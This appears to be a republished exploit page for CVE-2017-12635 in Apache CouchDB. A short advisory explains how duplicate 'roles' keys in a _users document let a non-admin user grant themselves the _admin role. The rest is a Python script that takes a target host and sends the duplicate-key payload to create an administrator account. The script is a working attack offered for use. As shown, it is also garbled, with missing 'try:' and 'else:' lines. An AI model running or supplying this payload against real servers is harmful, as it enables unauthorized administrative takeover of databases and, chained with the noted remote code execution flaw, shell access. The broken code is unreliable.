Apache CouchDB 1.7.0, 2.x, 2.1.1 – Remote Privilege Escalation

Authors:r4wd3r                Risk:Critical

CVE:CVE-2017-12635           0day:Privilege Escalation

0day -id:0DAY-12365           Date:2018-04-24


Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for ‘roles’ used for access control within the database, including the special case ‘_admin’ role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two ‘roles’ keys are available in the JSON, the second one will be used for authorising the document write, but the first ‘roles’ key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.


# Exploit Title: Apache CouchDB JSON 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation
# Date: 2017-08-07
# Exploit Author: Sebastián Castro @r4wd3r
# Vendor Homepage: https://blog.couchdb.org/2017/11/14/apache-couchdb-cve-2017-12635-and-cve-2017-12636/
# Software Link: http://couchdb.apache.org/
# Version: Apache CouchDB 1.7.0 and 2.x before 2.1.1
# CVE : CVE-2017-12635

#!/usr/bin/env python
import argparse
import re
import sys
import requests
parser = argparse.ArgumentParser(
    description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
    ' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
                    type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
                    type=str, default='couchapass')
args = parser.parse_args()
host = args.host
port = args.port
user = args.user
password = args.password
pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
if not pat_ip.match(host):
    print "[x] Wrong host. Must be a valid IP address."
print "[+] User to create: " + user
print "[+] Password: " + password
print "[+] Attacking host " + host + " on port " + port
url = 'http://' + host + ':' + port
    rtest = requests.get(url, timeout=10)
except requests.exceptions.Timeout:
    print "[x] Server is taking too long to answer. Exiting."
except requests.ConnectionError:
    print "[x] Unable to connect to the remote host."
# Payload for creating user
cu_url_payload = url + "/_users/org.couchdb.user:" + user
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'
    rcu = requests.put(cu_url_payload, data=cu_data_payload)
except requests.exceptions.HTTPError:
    print "[x] ERROR: Unable to create the user on remote host."
if rcu.status_code == 201:
    print "[+] User " + user + " with password " + password + "successfully created."
    print "[x] ERROR " + rcu.status_code + ": Unable to create the user on remote host."

Leave a Reply